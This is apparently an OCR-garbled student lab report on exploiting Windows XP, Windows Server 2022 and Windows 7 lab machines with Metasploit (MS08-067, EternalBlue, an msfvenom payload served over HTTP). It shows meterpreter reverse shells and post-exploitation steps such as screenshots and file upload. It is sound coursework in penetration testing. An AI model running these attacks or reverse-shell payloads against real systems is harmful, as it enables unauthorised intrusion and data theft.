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Task A: Exploit SMB on Windows XP with Metasploit

1. Run a port scan against the Windows XP using the nmap command to identify open ports

and services

IF Kali - Internal Workstation on CY301-RALARDDZ - Virtual Machine Connection

File  Action Media View Help
W@O@ nmw fH P

N mEmP A

=

VMshare root@kali: ~

File Actions Edit View Help

~

script vuln 192.168.
Starting Nmap ( /)
Failed to resol ript®.,

Failed to resol

Nmap scan report for 19
Host is up ( 46s 13
Not shown:

PORT

E p open netbio

p Oopen micros
MAC Address: @0:15:5D:4

Nmap donme: 1 IP addr

VMshare

2. Identify the SMB port number (default: 445) and confirm that it is open



HE Kali - Internal Workstation on CY¥301-RALARDDZ - Virtual Machine Connection

File  Action Mediza View Help
@O | w|[f D B

-] root@kali: ~

VMshare B
File Actions Edit View Help

Failed to resolve "script”.
ailled to resolve "wuln”.
Nmap scan repo
Host is up ; :
Not shown: 997 closed tcp ports (r
PORT STATE SERVICE
p open msrpc
open netbios-ssn
open rosoft-ds
Address: 15:5D:40:57:89 (Mi soft)

Nmap done: 1 IP address (1 host up) scanned in 3.¢

File System

Starting Nma
Nmap

STATE
445/tcp open
MAC Address:

Nmap done: 1 IP addre scanned in ©.29 seconds

\Mshare

3. Launch Metasploit Framework and search for the exploit module: ms08 067 netapi



I‘E Kali - Internal Workstation on CY307-RALARDOZ - Virtual Machine Cennection

File  Action Media View Help

D@0 umwp o

VMshare : root@kali: ~

File Actions Edit View Help

~

asploit tip: Use the resource command to run
a

commands from

Starting the Metasploit Framework console .../

VMshare

a

f

ile




I*] Kali - Internal Workstation on CY¥301-RALARDOZ - Virtual Machine Connection
File  Action Media View Help

D@0 np|fd | Eg

VMshare g root @kali: ~
File Actions Edit View Help

https://docs.metasploit.com/

api

Disclosux

@67 _netapi
Path 5 |

Interact with a module by

msf6

Use ms08 067 netapi as the exploit module and set meterpreter reverse tcp as the
payload



? Kali - Internal Workstation on CY301-RALARDOZ - Virtual Machine Connection

File Action Media View Help
@WOO up|f o B

root@kali: ~

Actions Edit View Help
VMshare

e Relative Path Stack Corruption

i MSB8-867 Microsoft Se r v
7_netapi

Module: exploit/windows/smb/ms@8_0
Platform: Windows
Arch:
Privileged: Yes
cense: Metasploit Framework License (BSD)
Rank: Great
Disclosed

<
5
6

indows
ndows
Windows
Windows
iindows
Windows
ndows
Windows
Windows
iindows Chi - Simplified (
Windows Chi - Traditional (

Home

(5.0 -

=

o

5. Use 4428 as the listening port number. Configure the rest of the parameters. Display your
configurations and exploit the target



IF Kali - Internal Workstation on CY301-RALARGDZ - Virtual Machine Connection
File  Action Media View Help
OO | n iy > | B

]| 1

root@kali: ~

File Actions Edit View Help

ploit{ show options
Module optic ploit/windows/smb/ms@8_067_netapi):
Current Setting Required ription

192.168.10.14 i t - 5 : asploit.com/
i sploit.html

4435
SMBPIPE BROWSER

Payload optio (windows/
Current Setti Required
EXITFUNC thread xi "', seh, thread, process,
LHOST 2.168.10.13 e s {an i be specified)

LPORT The listen port

Exploit tar

VMshare View the full module i info, or info command.

6 exploil




? Kali - Internal Workstation on CY301-RALARDOZ - Virtual Machine Connection
File  Action Media View Help
DO nw o B

S em P D

] root@kali: ~
=

File Actions Edit View Help
VMshare

EXITFUNC thread Yy xi chnigue (Accepted: '', seh, thread, process,

LHOST 192.168.10.13 Yy en address (an interface may be specified)
LPORT 4 / e listen port

Exploit target:

Id Name

@ Automatic Ta

command.

) > set payload windows/meterpreter
is not lid.
) > set payload windows/
windows/ e _tc
xploit( f > exploit
Home

Started e TCP handler on 192.168.10.13:4428

ecting the ta

VMshare

6. [Post-exploitation] Execute the screenshot command to take a screenshot of the target
machine if the exploit is successful

[Post-exploitation] In the meterpreter shell, display the target system’s local date and time
[Post-exploitation] In the meterpreter shell, get the SID of the user

[Post-exploitation] In the meterpreter shell, get the current process identifier

0 [Post-exploitation] In the meterpreter shell, get system information about the target

S 0 @

-18-29 18:87:17.76@ Eastern Standard Time (UTC-58@)

ORG-JLF9IOGWAFM
Windows XP (5.1 Build 260@, Servic




Task B: Exploit EternalBlue on Windows Server 2022

with Metasploit

In this task, try to use the same steps as shown in the video lecture to exploit the EternalBlue
vulnerability on Windows Server 2022. You may or may not establish a reverse shell connection
to the Windows Server 2022 using the same method as hacking Windows Server 2008.
Document your steps and show me your results. You won’t lose points for a failed reverse shell
connection. But you will lose points for incorrect configurations, such as putting the wrong IP

address for LHOST/RHOST, etc.

? Kali - Internal Werkstation on CY301-RALARDOZ - Virtual Machine Connection
File  Action Media View Help
@O nmp|fdH| B

S ElmP o]

root@kali: ~
=]

Actions Edit View Help

VMshare

[n
[ 2397 explo — 1235 auxiliary - 422 pest
[ 139 loads - 46 & — 11 nops
[ 9
Trash ; : A ; i
Metasploit Documentation: https://docs.metasploit.com/

msfé > search eternalblue

E Matching Modules

File System t Name

17_010_gterpalblue 2017-0
rruption
2017-03-14
t iemote Windows Code
in/smb/ms17_0@ ar 14 normal No
e Windows Command Execution
normal No

smb/smb_doublepulsar_rce 2017-04-14 grea Yes
tion

VMshare

Description
M517-018
MS17-818
M517-018
M517-010@ SM

SME DOUBLEPU




? Kali - Internal Workstation on CY301-RALARCDZ - Virtual Machine Connection

File  Action Media View Help
@O nmwn R Eg

SlEimBPe

root@kali: ~

—

VMshare

Name: MS17-01@ EternalBlue SMB ote Windows |
Module: exploit/windows/smb/ms17_010_eternalblue
Platfo

Eguation Gr
Shadow Broker
sleepya

Sean Dillen

Home

Autom

Windo
VMshare ep

Windows 8




? Kali - Internal Workstation on CY301-RALARODZ - Virtual Machine Connection
File  Action Media View Help

D@0 nmw fd

. root@kali: ~
File Actions Edit View
SMEUser (Optional) The username
VERIFY_ARCH true ( . if remote itectur
onl ffects Windows
nd 7, Windows Embedded Stand
chines.
VERIFY_TARGET true

Payload options (windows/ /meterpreter/reverse_tcp):

Name Current Setting Required Description

TFUNC thread / Exit technigque (Accepted: '', seh, thread, process,
File System none)
LHOST 68. / The listen address (an interface may be specified)
LPORT . es The listen port

View info with the i ring command.
6 it( ) > set lport 44




? Kali - Internal Workstation on CY301-RALARDOZ - Virtual Machine Connection
File Action Media View Help

@O upfd B
]|

root@kali: ~

File Actions Edit View Help
VMshare Name

RHOSTS
t.co
ploit.
RPORT 1
SMBDomain (Optional)
2 ntication. ] ts Windo
Trash ws Embedded °

SMBPass (Optional)
name
MBUser (Optional) The username to authentic
RIFY_ARCH rue T: Che if remote architecture matches

VERIFY_TARGET

y affects Windows
indows Embedded S

load options (windows/meterpret
Name
EXITFUNC
none )

LHOST 1IR3 The listen ad
LPORT (Y. The listen po

Exploit ta




I‘Q Kali - Internal Workstation on CY301-RALARDDZ - Virtual Machine Connection
File  Action Media View Help

@O nw»(f o

root@kali: ~

# Name Disclosure Date
ription

(4] payload/gener custom normal No
stom Payload
2l payload/gener normal No
mmand Shell, Bind S
2 oad/gene normal No
nd Shell
oad/gene d normal No
nd Shell
oad/ge normal No
normal No
normal No
normal No

8 /Wi ind_ normal No
ndows ) 3 i

9 ' 1wl 4/fc bi : normal No
ndows C ] TCP 5 [ R ta

1@ ) /Wi 4/custom/bind_tcp_uuid normal No
ndows nd TCP St with UUID Support (Windows )

1. ) /Wi custom/reverse http normal No
ndows ) Windows R se HTTP S (wininet)




? Kali - Internal Workstation on CY307-RALARDOZ - Virtual Machine Connection

File  Action Media View Help

D @O up o B
S EmP O

G root@kali: ~

File Actions Edit View Hel

VMshare
c4
Injection), Bind TCP S
] ind_tcp_uuid

erse_https
Injection), Windows x¢
inject/reverse_tcp
Injection), Windows x
cinj re tc
e Injection),

normal
UUID Support

_winhttp
Windows x64 Reverse HTTP S
/ = _winhttps
Injection), Windows x64 R

428
smb/smb_ms1 10 as ch
e connecting to the IPC
omplete)
.19:445 — The t
mpleted, but no session was




Task C: Exploit Windows 7 with a deliverable payload

In this task, you need to create an executable payload with the required configurations below
1. Once your payload is ready, you should upload it to the web server running on Kali Linux
and download the payload from Windows 7, then execute it on the target to make a
reverse shell. Of course, don't forget to configure your Metasploit on Kali Linux before
the payload is triggered on the target VM
The requirements for your payload are :
e Payload Name: Use your MIDAS ID
e Listening port: 4428

? Kali - Internal Workstation on CY301-RALARDDZ - Virtual Machine Connection

File  Action Media View Help
@O O | upfodH B

N mEm P

root@kati: ~
k=3

File Actions Edit View Help
VMshare —hM d+ : dMMmNMMh .

o continue

Home

loits
payloads
15ion

12

VMshare




’_‘_ﬂ Kali - Internal Workstation on CY301-RALARODZ - Virtual Machine Connection
File  Action Media View Help
@O0 nmw(fd P

—_

—

VMshare 3 root@kali: ~

File Actions Edit View Help

-

No options
asploit standalone pa
nt for msfpayload and
enom [options]
nom -p wi

Options:
=1 = 135%
5, encoders,
-p. pay
-options for arguments).
-—list-options
evasion options
-f, -——format
——encoder

Home T Service-name

VMshare

0

all modules for [type]l. Typ : payload
encrypt, formats, all

oad to use {-—1list Loz L1 --list
or STDIN for custom
List —payload < e advanced and

Dutput format (use —1list formats to list)
The encoder to use (use —1list encoders to list

The vice name to use when generating a servi

The nei tion name to use when generating lar
cter alpha string
smallest possible p ad using al

The type of encryption or encoding to app
list)

A to be used for -——encrypt

An initialization vector for —encrypt




? Kali - Internal Workstation on CY301-RALARDD2 - Virtual Machine Connection

File Action Media View Help
D@0 npfd P

S P

=

File Actions Edit View Help

—template
mplate
-k, —keep
ad as a new thread
vV, ——var-name
in ocutput formats
-t, —timeout
payload from STDIN
-h, —help

Trash

File System

VMshare

pas

root@kali: ~

Specify a custom executable file to
Preserve the —template behaviour and inject th
Specify a custom variable name to use for certa

The number of seconds to wait when reading the
disable)

swd_ralar




H‘: Kali - Internal Workstation on CY301-RALAR!
File  Action Media

@0

View  Help

m i b

firtual Machine Connection

root@kali: ~

File Actions Edit View Help

VMshare msf6 exploit(

} » show options

Module options (exploit/multi/handler):

Name

Current Setting Required Description

Payload options (windows/meterpreter/reverse_tcp):

Name

Current Setting Required

Description

EXITFUNC process

LHOST

File System LPORT

Lih

Exploit target:

Id Name

® Wildcard Target

View the full module info with the inf:

VMshare

msf6 exploit(

yes Exit technigque (Accepted: '
none)
The listen address (an interface may be specified)
The listen port

seh, thread, process,

0T I command.
)} > set lhost 192.168.108.13

) > set lport 4428

Y >

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Required

Description

EXITFUNC process yes
LHOST

LPORT

192.168.10.13
4428

yes
yes
Exploit target:

Id Name

Wildcard Target

View the full module info with the

JI |

msf6 exploit(

Exit technigue (Accepted: "',
none)

The listen address (an interface may be specified)

The listen port

seh, thread, process,

command.




File  Action Media View Help
@O nw(fd B

=

File Actions Edi File Actions Edit View Help

Name Cur t

Payload options
Name Cur
EXITFUNC ;;g
LHOST
LPORT

Expleit target:
Id MName

@ Wildcard

Home

? Kali - Internal Workstation on CY307-RALARDDZ - Virtual Machine Connection

root@kali: ~

Sixt passwd_ralar
.pcapng’

ralar@e2.exe fvar/www/html

Svar/wm /html
ml index.nginx-debian.ht

Jhtml/index.

/var/wm/html

(o

& Windows 7 on CY301-RALARDDZ - Virtual Machine Connection
File  Action Media Clipboard View Help
B @O | umnlfo &

[ Indexof/ X

& ¢ @ 1921681013
Index of /
Name Last modified Size Description

ralar(02 exe 2024-10-29 22:40 72K

Apache2.4.38 (Debian) Server at 192.168.10.13 Port 80

[a]l=]E] =t

Y|



roct@kali: ~

File Actions Edit View Help

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Reguired Description

EXITFUNC process yes Exit technique (Accepted: "', seh, thread, process,
none)

The listen address {(an interface may be specified)
The listen port

LHOST 192.168.10.13  ye
LPORT 4 ye

5
5

View the full module info with the info r infoe -d command.
msf6 exploit( ) > exploit

Started reverse TCP handler on 192,168.18.13:4

Sending (176198 bytes) to 192.168.10

Meterprete ion 1 opened (192.168 P 3 192.168.10.9:10836) at 2824
0:07 -0400

meterpreter >

[Post-exploitation] Once you have established the reverse shell connection to the target
Windows 7, complete the following tasks in your meterpreter shell:
2. Execute the screenshot command to take a screenshot of the target machine if the exploit
is successful



B Kali - Internal Workstation on CY¥301-RALARDOZ - Virtual Machine Connection
File  Action Media View Help
DOO n i > P

root @kali: ~

6198 bytes) to §
sion 1 opened (19 8 — 192.168.10.9:1036) at 2024-10-29 22:5

VVUDH. jpeg

Create a text file on the attacker Kali named "YourMIDAS.txt" (replace YourMIDAS
with your university MIDAS ID) and put the current timestamp in the file. Upload this
file to the target's desktop. Then, log in to Windows 7 VM and check if the file exists.
You need to show me the command that uploads the file

HE Kali - Internal Workstation on CY301-RALARDDZ - Virtual Machine Connection

File Action Media View Help
W@ O | uw(fd P

B mEPDE-|

root @kali: ~

File Actions Edit View Help

VMshare
ralar@ez.txt

'lab2 .pcapng’

passwd_rala

I ralar@e2.txt
Tue Oct 29 11:81:59 PM EDT 2024

~

File System




Uploading : /root/ A k
Uploaded 32.88 B of - (100.0%): / ‘ralar@@2.txt — desktop

Completed : /root/
meterpreter

| desktop - Notepad ==
File Edit Format View Help
Tue Oct 29 11:01:59 PM EDT 2024 -




